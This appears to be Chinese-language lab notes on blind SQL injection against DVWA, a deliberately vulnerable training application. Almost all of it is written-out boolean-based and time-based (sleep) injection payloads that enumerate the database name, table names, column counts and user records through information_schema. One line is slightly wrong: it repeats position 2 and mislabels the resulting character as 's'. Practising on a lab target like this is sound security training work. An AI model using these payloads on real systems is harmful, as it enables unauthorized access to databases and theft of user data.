DVWA中SQL盲注

一、SQL盲注过程

（1）判断是否存在注入，注入是字符型还是数字型；
（2）猜解当前数据库名---->猜解数据库名长度---->猜解数据库名称；
（3）猜解数据库中的表名---->猜解表数量---->猜解表长度---->猜解表名称；
（4）猜解表中字段名---->猜解当前表中有多少个字段---->猜解字段长度---->猜解字段名称
（5）猜解数据

二、SQL Injection(Blind)

1、Low级别

布尔盲注

（1）判断是否存在注入，注入是字符型还是数字型；
	1' and '1'='1
	1' and '1'='2
（2）猜解当前数据库名---->猜解数据库名长度(4)---->猜解数据库名称(d,v,w,a)；
	1' and length(database())=4 #
	
	1' and ascii(substr(database(),1,1))=100 #(d)
	1' and ascii(substr(database(),2,1))=118 #(v)
	1' and ascii(substr(database(),3,1))=119 #(w)
	1' and ascii(substr(database(),4,1))=97 #(a)
（3）猜解数据库中的表名---->猜解表数量(2)---->猜解表名长度(9,5)---->猜解表名称(guestbook,users)；
	1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2 #
	
	1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9 #
	1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=5 #
	
	1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=103 #(g)
	1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),2))=117 #(u)
	1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),3))=101 #(e)
	1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),2))=116 #(s)
	
	1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=117 #(u)
	1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),2))=115 #(s)
	1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),3))=101 #(e)
（4）猜解表中字段名---->猜解当前表中有多少个字段(11)---->猜解字段长度---->猜解字段名称
	1' and (select count(column_name) from information_schema.columns where table_name='users')=11 #
	
	1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7 #
	1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1))=10 #
	1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 2,1),1))=9 #

	1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))>97 #
（5）猜解数据
	1' and (ascii(substr((select user from users limit 0,1),1,1)))=97 #

时间盲注

1’ and sleep(5) #
1' and if(length(database())=1,sleep(5),1)#
1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)#
1' and if((select count(table_name) from information_schema.tables where table_schema='dvwa')=1,sleep(5),1)#
1' and if(length(substr((select table_name from information_schema.tables where table_schema='dvwa'limit 0,1),1))=1,sleep(5),1)#